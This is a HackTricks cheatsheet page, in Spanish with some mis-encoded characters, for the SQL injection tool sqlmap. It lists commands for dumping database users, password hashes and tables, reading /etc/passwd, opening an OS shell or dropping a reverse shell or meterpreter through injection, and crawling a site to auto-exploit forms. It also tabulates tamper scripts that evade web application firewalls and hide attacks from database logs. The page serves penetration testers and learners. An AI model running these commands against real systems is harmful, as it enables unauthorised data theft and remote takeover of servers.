SQLMap - Cheatsheet
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Argumentos b谩sicos para SQLmap
Gen茅rico
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char
Recuperar Informaci贸n
Interno
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges
Datos de la base de datos
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
Usando SQLMapping es una herramienta pr谩ctica que genera comandos y proporciona una visi贸n completa, tanto b谩sica como avanzada, para SQLMap. Incluye ToolTips que explican cada aspecto de la herramienta, detallando cada opci贸n para que puedas mejorar y entender c贸mo usarla de manera eficiente y efectiva.
Lugar de inyecci贸n
Desde la captura de Burp/ZAP
Captura la solicitud y crea un archivo req.txt.
sqlmap -r req.txt --current-user
Inyecci贸n de Solicitud GET
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
Inyecci贸n de Solicitud POST
sqlmap -u "http://example.com" --data "username=*&password=*"
Inyecciones en Encabezados y otros M茅todos HTTP
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"
#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
Indique la cadena cuando la inyecci贸n sea exitosa
--string="string_showed_when_TRUE"
Eval
Sqlmap permite el uso de -e
o --eval
para procesar cada payload antes de enviarlo con un oneliner de python. Esto facilita y acelera el procesamiento de maneras personalizadas del payload antes de enviarlo. En el siguiente ejemplo, la sesi贸n de cookie de flask es firmada por flask con el secreto conocido antes de enviarla:
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
Shell
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
Leer archivo
--file-read=/etc/passwd
Rastrear un sitio web con SQLmap y auto-explotar
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
Inyecci贸n de Segundo Orden
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
Lee esta publicaci贸n sobre c贸mo realizar inyecciones de segundo orden simples y complejas con sqlmap.
Personalizando la Inyecci贸n
Establecer un sufijo
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
Prefijo
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
Ayuda para encontrar inyecci贸n booleana
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
Tamper
Recuerda que puedes crear tu propio tamper en python y es muy simple. Puedes encontrar un ejemplo de tamper en la p谩gina de Second Order Injection aqu铆.
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper | Descripci贸n |
---|---|
apostrophemask.py | Reemplaza el car谩cter de ap贸strofe con su contraparte de ancho completo UTF-8 |
apostrophenullencode.py | Reemplaza el car谩cter de ap贸strofe con su contraparte ilegal de doble unicode |
appendnullbyte.py | Agrega un car谩cter de byte NULL codificado al final de la carga 煤til |
base64encode.py | Codifica en Base64 todos los caracteres en una carga 煤til dada |
between.py | Reemplaza el operador mayor que ('>') con 'NOT BETWEEN 0 AND #' |
bluecoat.py | Reemplaza el car谩cter de espacio despu茅s de la declaraci贸n SQL con un car谩cter en blanco aleatorio v谩lido. Luego reemplaza el car谩cter = con el operador LIKE |
chardoubleencode.py | Codifica doblemente todos los caracteres en una carga 煤til dada (sin procesar los ya codificados) |
commalesslimit.py | Reemplaza instancias como 'LIMIT M, N' con 'LIMIT N OFFSET M' |
commalessmid.py | Reemplaza instancias como 'MID(A, B, C)' con 'MID(A FROM B FOR C)' |
concat2concatws.py | Reemplaza instancias como 'CONCAT(A, B)' con 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
charencode.py | Codifica en URL todos los caracteres en una carga 煤til dada (sin procesar los ya codificados) |
charunicodeencode.py | Codifica en URL unicode los caracteres no codificados en una carga 煤til dada (sin procesar los ya codificados). "%u0022" |
charunicodeescape.py | Codifica en URL unicode los caracteres no codificados en una carga 煤til dada (sin procesar los ya codificados). "\u0022" |
equaltolike.py | Reemplaza todas las ocurrencias del operador igual ('=') con el operador 'LIKE' |
escapequotes.py | Escapa las comillas (' y ") |
greatest.py | Reemplaza el operador mayor que ('>') con su contraparte 'GREATEST' |
halfversionedmorekeywords.py | Agrega un comentario de MySQL versionado antes de cada palabra clave |
ifnull2ifisnull.py | Reemplaza instancias como 'IFNULL(A, B)' con 'IF(ISNULL(A), B, A)' |
modsecurityversioned.py | Envuelve la consulta completa con un comentario versionado |
modsecurityzeroversioned.py | Envuelve la consulta completa con un comentario de cero versi贸n |
multiplespaces.py | Agrega m煤ltiples espacios alrededor de las palabras clave SQL |
nonrecursivereplacement.py | Reemplaza palabras clave SQL predefinidas con representaciones adecuadas para el reemplazo (por ejemplo, .replace("SELECT", "")) filtros |
percentage.py | Agrega un signo de porcentaje ('%') delante de cada car谩cter |
overlongutf8.py | Convierte todos los caracteres en una carga 煤til dada (sin procesar los ya codificados) |
randomcase.py | Reemplaza cada car谩cter de palabra clave con un valor de caso aleatorio |
randomcomments.py | Agrega comentarios aleatorios a las palabras clave SQL |
securesphere.py | Agrega una cadena especialmente elaborada |
sp_password.py | Agrega 'sp_password' al final de la carga 煤til para ofuscaci贸n autom谩tica de los registros de DBMS |
space2comment.py | Reemplaza el car谩cter de espacio (' ') con comentarios |
space2dash.py | Reemplaza el car谩cter de espacio (' ') con un comentario de guion ('--') seguido de una cadena aleatoria y una nueva l铆nea ('\n') |
space2hash.py | Reemplaza el car谩cter de espacio (' ') con un car谩cter de libra ('#') seguido de una cadena aleatoria y una nueva l铆nea ('\n') |
space2morehash.py | Reemplaza el car谩cter de espacio (' ') con un car谩cter de libra ('#') seguido de una cadena aleatoria y una nueva l铆nea ('\n') |
space2mssqlblank.py | Reemplaza el car谩cter de espacio (' ') con un car谩cter en blanco aleatorio de un conjunto v谩lido de caracteres alternativos |
space2mssqlhash.py | Reemplaza el car谩cter de espacio (' ') con un car谩cter de libra ('#') seguido de una nueva l铆nea ('\n') |
space2mysqlblank.py | Reemplaza el car谩cter de espacio (' ') con un car谩cter en blanco aleatorio de un conjunto v谩lido de caracteres alternativos |
space2mysqldash.py | Reemplaza el car谩cter de espacio (' ') con un comentario de guion ('--') seguido de una nueva l铆nea ('\n') |
space2plus.py | Reemplaza el car谩cter de espacio (' ') con un m谩s ('+') |
space2randomblank.py | Reemplaza el car谩cter de espacio (' ') con un car谩cter en blanco aleatorio de un conjunto v谩lido de caracteres alternativos |
symboliclogical.py | Reemplaza los operadores l贸gicos AND y OR con sus contrapartes simb贸licas (&& y |
unionalltounion.py | Reemplaza UNION ALL SELECT con UNION SELECT |
unmagicquotes.py | Reemplaza el car谩cter de comillas (') con una combinaci贸n de m煤ltiples bytes %bf%27 junto con un comentario gen茅rico al final (para que funcione) |
uppercase.py | Reemplaza cada car谩cter de palabra clave con el valor en may煤sculas 'INSERT' |
varnish.py | Agrega un encabezado HTTP 'X-originating-IP' |
versionedkeywords.py | Envuelve cada palabra clave no funcional con un comentario de MySQL versionado |
versionedmorekeywords.py | Envuelve cada palabra clave con un comentario de MySQL versionado |
xforwardedfor.py | Agrega un encabezado HTTP falso 'X-Forwarded-For' |
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.